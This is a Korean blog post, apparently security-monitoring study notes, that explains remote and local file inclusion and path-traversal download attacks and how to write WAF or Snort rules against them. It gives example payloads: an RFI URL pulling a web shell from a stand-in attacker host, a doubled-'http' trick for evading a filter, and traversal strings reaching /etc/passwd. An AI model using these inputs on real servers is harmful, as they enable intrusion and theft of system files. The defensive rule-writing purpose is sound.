RFI: 원격 파일 참조 → 원격에 있는 페이지를 웹서버로 임포트하여 실행되는 공격
http://attacker.com/webshell 웹셸이 업로드 된 효과
http:// 프로토콜 지정이 핵심, 문자열을 회피하기 위해서 hthttpttp:// 이중으로 문자열을 입력함으로써 회피 (가운데 http가 감지되면 지워지고 밖에 http로 인식)
LFI와 파일다운로드 공격은 다름
LFI는 파라미터를 통해 파일을 참조하는 방식, 파일다운로드는 페이지가 다운로드 할 파일을 지정하여 호출하는 방식
LFI : http://test.com/abcd?page=../../../../../etc/passwd
download: http://test.com/download?id=test.doc test.doc 대신에 상대경로(../../../../)로 파일명 입력
LFI 는 함수 구조로 기반, downliad는 페이지로 동작
LFI : ../ 에 대해 인코딩 데이터 복호화 필요, ../ 필터 핖요 (WAF에 인코딩 데이터 복호화 기능 지원)
RFI: uri 구조에 http와 같은 프로토콜 입력 필터
download: ../가 필터되도록 (LFI동일)
Rule을 만들면서 주의할 점
1) 정규표현식 사용여부 체크
ex) GET1, GET2, GWT99 와 같이 입력될 수 있는 것들
2) Rule에 탐지되었을 때 어떤 공격에 의해 탐지 되었는지에 대해 명확히 구분할 것
rule에 의해 탐지되면 로그가 남으며, log 기반으로 공격 횟수 카운팅이 가능
'보안 > 보안 관제' 카테고리의 다른 글
Snort 환경 구축 (1) | 2024.12.11 |
---|---|
Snort Rule 구조 (0) | 2024.12.11 |
mod security (3) | 2024.12.11 |
[로그] (1) | 2024.12.06 |
보안 관제 (Security Operations Center, SOC) (1) | 2024.12.06 |